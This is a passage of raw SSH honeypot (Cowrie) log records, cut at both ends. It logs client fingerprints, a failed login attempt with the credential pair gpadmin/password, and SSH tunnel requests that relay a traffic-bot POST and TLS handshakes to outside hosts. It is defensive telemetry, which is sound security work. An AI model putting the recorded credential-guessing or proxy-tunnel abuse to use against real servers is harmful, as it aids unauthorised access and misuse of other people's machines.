\\xa5\\x83\\xce\\x0ej\\xab\\x0bN9BpE\\xa5\\x05f\\xfe\\xe5\\xe2\\xaf\\x80\\x99W\\xc6\\xa4[&\\xe1D\\xe4\\x8c\\x16&\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa2A\\x9a\\x91G\\xbb\\xc4\\xa6\\xdb\\xf3&\\xb2\\x85\\x0b\\x86D(\\x1d\\x84Dz\\n\\x7f`\\xb5\\x11wV\\x91_\\xf6\\x0e\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:44.489640Z","src_ip":"123.27.168.40","session":"f66cea1e080a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:44.872187Z","src_ip":"123.27.168.40","session":"f66cea1e080a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.43","src_port":52926,"dst_ip":"159.203.135.109","dst_port":22,"session":"82ff4ee008ce","protocol":"ssh","message":"New connection: 101.79.165.43:52926 (159.203.135.109:22) [session: 82ff4ee008ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:45.548577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:45.552689Z","src_ip":"101.79.165.43","session":"82ff4ee008ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:45.769413Z","src_ip":"101.79.165.43","session":"82ff4ee008ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"password","message":"login attempt [gpadmin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:46.671647Z","src_ip":"101.79.165.43","session":"82ff4ee008ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:47.890607Z","src_ip":"101.79.165.43","session":"82ff4ee008ce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:49.389895Z","session":"44c89dadac9c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:49.397011Z","session":"44c89dadac9c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:49.453713Z","src_ip":"23.175.50.51","session":"44c89dadac9c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1168\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36 Edg/86.0.622.63\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=RShDQkIpOUdhbUBXcihESg%3D%3Dm5ui2%2BP2xP8SgpfloH0DNsD%2FOcr2hNLZ6eknMlmZ3Q6vsQfFqlCdqfE%2BfJIf2HPLi09E0AJ9uOGhVyoa%2BTSPDhuCRAKsVmvnd89Ok8NVltqrJsSVcF1E6YIKGzw66HBYhp%2FPz%2FuEgbLVP8UIR0960iT%2FrmSITPgBhlgW9AKeyUHsaVEXVzyJVXaoM5zRnMo1xvYqXo%2FtPXTACq0QCzCPceDevGOX%2BMiWkOWwRCU3OGspESVTCK4EN2EQR6NzGtSRD7pgEfV9qpprNdKEz7F8XbABzan8IdMXViE1z9duDeFynTFHvn3QXBDMYr4FHR99UNSr8Mi7NbZV08Wa0GjJcwIOD9PVgKHHZdxnWUmD2T7Gh7Vr%2F2lUMXBZwCOrZJNfkOQQ89bnz%2F3rl7%2FmtxZel6Rc2VpnSM3yVidstK6cWO2QYW7pPgdyP2zGECoZEZIZM%2FkRsGjfBsAcfFhzecwdwhapC%2BqeC3E5iuSnQJYo8zG57Wa57fAKG4AY%2BbsQSvzCspUExIKSuEHj24YxrK4Bbx7JxeT0nemcTrrk4CXR09BlWQ4o6KhrReWqes%2B9jOXjV6AStdzvMnqPoaZqJ5cjhQ9xSGPM4jEL4jVJxg1HDXfla1Fz00YE4ssrq8DpQv1FH5KU0VFdKKE9zq93wLuw%2FXSXU7zgqZdXe14ZYTWv3GQ4K0ZyM3NFEuyXjucGws69hVxzaWy7OIuvsLaxTU6v11vmH6RrEWY9DqgIpU0IBSKG5HYJU1s95x9XcODztvNw5qy8qg0BtR%2BzvEIFKP8NqK9dmkLOJ7ufY1WT9z0uVPg9wkzdieAhMr6sFToTWWQtN3LgRHSQ%2Fo9emoivtXOvPXlknClcF4vukO7A8XaDlIIzLcKnIGXFCwIs6q0nCD8W2Z%2FeHlEJI3wZKEvS72we0ioZLLbprwOWsNrZzeIvwijRz8bESfLKE4%2F1cwRQcsmGzZcM%2BNv1ddYldODQmQOEnGwUEEs%2Fo4lDoD2Lr9%2BYORYpbncLxmzTs34ZO10GMY10pgchfaQxjzVTogZlJTbeT0TxnDLTdVwPNduOO5t%2FZGPF7GkHSrwpdRdndHZi3VPI'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1168\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36 Edg/86.0.622.63\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=RShDQkIpOUdhbUBXcihESg%3D%3Dm5ui2%2BP2xP8SgpfloH0DNsD%2FOcr2hNLZ6eknMlmZ3Q6vsQfFqlCdqfE%2BfJIf2HPLi09E0AJ9uOGhVyoa%2BTSPDhuCRAKsVmvnd89Ok8NVltqrJsSVcF1E6YIKGzw66HBYhp%2FPz%2FuEgbLVP8UIR0960iT%2FrmSITPgBhlgW9AKeyUHsaVEXVzyJVXaoM5zRnMo1xvYqXo%2FtPXTACq0QCzCPceDevGOX%2BMiWkOWwRCU3OGspESVTCK4EN2EQR6NzGtSRD7pgEfV9qpprNdKEz7F8XbABzan8IdMXViE1z9duDeFynTFHvn3QXBDMYr4FHR99UNSr8Mi7NbZV08Wa0GjJcwIOD9PVgKHHZdxnWUmD2T7Gh7Vr%2F2lUMXBZwCOrZJNfkOQQ89bnz%2F3rl7%2FmtxZel6Rc2VpnSM3yVidstK6cWO2QYW7pPgdyP2zGECoZEZIZM%2FkRsGjfBsAcfFhzecwdwhapC%2BqeC3E5iuSnQJYo8zG57Wa57fAKG4AY%2BbsQSvzCspUExIKSuEHj24YxrK4Bbx7JxeT0nemcTrrk4CXR09BlWQ4o6KhrReWqes%2B9jOXjV6AStdzvMnqPoaZqJ5cjhQ9xSGPM4jEL4jVJxg1HDXfla1Fz00YE4ssrq8DpQv1FH5KU0VFdKKE9zq93wLuw%2FXSXU7zgqZdXe14ZYTWv3GQ4K0ZyM3NFEuyXjucGws69hVxzaWy7OIuvsLaxTU6v11vmH6RrEWY9DqgIpU0IBSKG5HYJU1s95x9XcODztvNw5qy8qg0BtR%2BzvEIFKP8NqK9dmkLOJ7ufY1WT9z0uVPg9wkzdieAhMr6sFToTWWQtN3LgRHSQ%2Fo9emoivtXOvPXlknClcF4vukO7A8XaDlIIzLcKnIGXFCwIs6q0nCD8W2Z%2FeHlEJI3wZKEvS72we0ioZLLbprwOWsNrZzeIvwijRz8bESfLKE4%2F1cwRQcsmGzZcM%2BNv1ddYldODQmQOEnGwUEEs%2Fo4lDoD2Lr9%2BYORYpbncLxmzTs34ZO10GMY10pgchfaQxjzVTogZlJTbeT0TxnDLTdVwPNduOO5t%2FZGPF7GkHSrwpdRdndHZi3VPI'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:49.456732Z","src_ip":"23.175.50.51","session":"44c89dadac9c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:49.461437Z","src_ip":"23.175.50.51","session":"44c89dadac9c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd4\\x0fDLl\\xbd\\xf2\\xed\\xcd\\x17\\xc5\\xdd\\xff\\xc6;\\xd54\\xbe\\xac\\xd1\\xfa\\xb1\\xfb\\x11\\xf4\\xd5@\\x15\\x19\\x82\\xd3\\n \\x06\\xe1n\\xed\\xd4Z\\x97\\x03\\xa3\\xe9\\xdevY)(\\xcc\\x1c-z\\x97\\xf9\\xcc\\xf0\\xa3\\xdd\\x85H|\\xf0E\\x96c\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\\\\\x94\\xce0\\x0c}\\xe4*\\r\\x19Pu\\x81\\xb6\\xee\\xcc\\xab\\x13\\x84\\xf1Odr.\\xd5g5/\\xc3\\xfc\\t=\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd4\\x0fDLl\\xbd\\xf2\\xed\\xcd\\x17\\xc5\\xdd\\xff\\xc6;\\xd54\\xbe\\xac\\xd1\\xfa\\xb1\\xfb\\x11\\xf4\\xd5@\\x15\\x19\\x82\\xd3\\n \\x06\\xe1n\\xed\\xd4Z\\x97\\x03\\xa3\\xe9\\xdevY)(\\xcc\\x1c-z\\x97\\xf9\\xcc\\xf0\\xa3\\xdd\\x85H|\\xf0E\\x96c\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\\\\\x94\\xce0\\x0c}\\xe4*\\r\\x19Pu\\x81\\xb6\\xee\\xcc\\xab\\x13\\x84\\xf1Odr.\\xd5g5/\\xc3\\xfc\\t=\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:49.463834Z","src_ip":"23.175.50.51","session":"44c89dadac9c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:49.526617Z","session":"44c89dadac9c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:49.589018Z","src_ip":"23.175.50.51","session":"44c89dadac9c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x90\\xf1\\xcf\\xed\\xee\\xcdn\\xc05\\xa6\\xe1o\\xaf\\xa8$/i\\xa6)o,\\xc6<\\xcc\\xb5\\xf3\\xe7@\\x12\\x0fP\\x7f \\n\\xf8\\xeb\\xdb\\x8f\\xd3\\\\\\xad\\x01V\\xf7\\xf9\\x8e\\xdb\\x0e8\\xf5F\\x9f\\x93\\xda\\x8c\\n\\x8b\\xaf\\x0c)\\x1f\\xdckTt\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 l\\xd4\\xd1g\\x99\\xfa\\xacSp\\xa99\\xd0\\xe1\\x98\\x1b\\xf1\\x19\\x98\\x17\\x18$\\xac\\x0b\\xe6\\x05\\xaa\\x08m>\\xb9\\xd0l\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x90\\xf1\\xcf\\xed\\xee\\xcdn\\xc05\\xa6\\xe1o\\xaf\\xa8$/i\\xa6)o,\\xc6<\\xcc\\xb5\\xf3\\xe7@\\x12\\x0fP\\x7f \\n\\xf8\\xeb\\xdb\\x8f\\xd3\\\\\\xad\\x01V\\xf7\\xf9\\x8e\\xdb\\x0e8\\xf5F\\x9f\\x93\\xda\\x8c\\n\\x8b\\xaf\\x0c)\\x1f\\xdckTt\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 